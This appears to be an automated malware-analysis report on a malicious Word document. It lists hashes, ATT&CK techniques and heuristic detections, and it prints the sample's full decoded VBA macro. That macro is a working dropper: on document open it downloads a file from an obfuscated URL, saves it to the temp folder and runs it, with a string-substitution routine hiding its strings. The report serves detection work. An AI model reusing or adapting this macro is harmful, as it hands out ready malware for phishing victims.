Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28db4e9a71c81390…

MALICIOUS

Office (OLE)

125.5 KB Created: 2018-10-18 08:46:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 523f9194a0e977afc349c239b0edc60f SHA-1: eb4a600e98e4be50ca19bfa0439b910561809f1e SHA-256: 28db4e9a71c813905f324b5aaafff4d29d3069d9973260a317b4b79b9663d19f
258 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is designed to execute, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro likely downloads and executes a second-stage payload, as suggested by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The document body explicitly instructs the user to enable content, which is a common lure for macro-based malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    £¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼ = ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢ = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹ = Environ("tmp") + ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("\ããRVáQ.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9049 bytes
SHA-256: 4bdfb3fe56177cf19571a13eac8f61fc4e3fd5afc9b07b2009076e763b77fcea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥)
        ®½´§¥·§¤´²¨¡¿¿°¶½¢º¢¼¨·¨¢¥¶¯¡ª¤¡£µ¾¨££´®¾°²©¦¶º´¨«ª«¨½®©°¯¯¥«©¯°®µ´§®¢§¬¥²©©¾¾¡µ¼¢º£¼¨¢¨ª® = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ¼º§¾ª§©£¸¸ª©¤»¡¯¥¾ºª¥«¸µµ´·¢¦¢¯²§³µ¶²¯³ª»¹²¾¸®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²» = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥)
            ©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨ = InStr(®½´§¥·§¤´²¨¡¿¿°¶½¢º¢¼¨·¨¢¥¶¯¡ª¤¡£µ¾¨££´®¾°²©¦¶º´¨«ª«¨½®©°¯¯¥«©¯°®µ´§®¢§¬¥²©©¾¾¡µ¼¢º£¼¨¢¨ª®, Mid(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥, i, 1))
            If ©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨ > 0 Then
                ¨¸½ª·¬¶ª°¿°·´¾µ®¸¾®¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º°µ¹¬´´½¢°¥º¤¾½³¤¸³£µ»²°§§¹¾©¸«·©²¸²¡¤·¶¬¹¿¬¯§³ = Mid(¼º§¾ª§©£¸¸ª©¤»¡¯¥¾ºª¥«¸µµ´·¢¦¢¯²§³µ¶²¯³ª»¹²¾¸®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²», ©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨, 1)
                ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ + ¨¸½ª·¬¶ª°¿°·´¾µ®¸¾®¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º°µ¹¬´´½¢°¥º¤¾½³¤¸³£µ»²°§§¹¾©¸«·©²¸²¡¤·¶¬¹¿¬¯§³
            Else
                ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ + Mid(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥, i, 1)
            End If
        Next
        ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½
    End Function

Private Sub Document_Open()
Dim ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢
Set ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢ = CreateObject("microsoft.xmlhttp")
Dim ¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹
Dim ¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢
Set ¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢ = CreateObject("Shell.Application")

¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹ = Environ("tmp") + ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("\ããRVáQ.ÂÛÂ")
¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.Open "GET", ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("hÖÖÓ://ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/ÄÖhÂmÂÕ/áNÙ9994757667Ö47ÔwÂg7ÔgÕÔgÔÕÃg54ÖÙÔjÜÀÀdÀÂwÖqgÜ56ÖÁ55758F.ÂÛÂ"), False
¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.send
£¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼ = ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.responseBody
If ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.Status = 200 Then
Set ¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯ = CreateObject("adodb.stream")
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Open
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Type = 1
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Write £¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.SaveToFile ¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹, 2
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Close
End If
¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢.Open (¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹)


End Sub

Attribute VB_Name = "NewMacros"
Sub riffrerent()
'
' riffrerent Macro
'
'

End Sub

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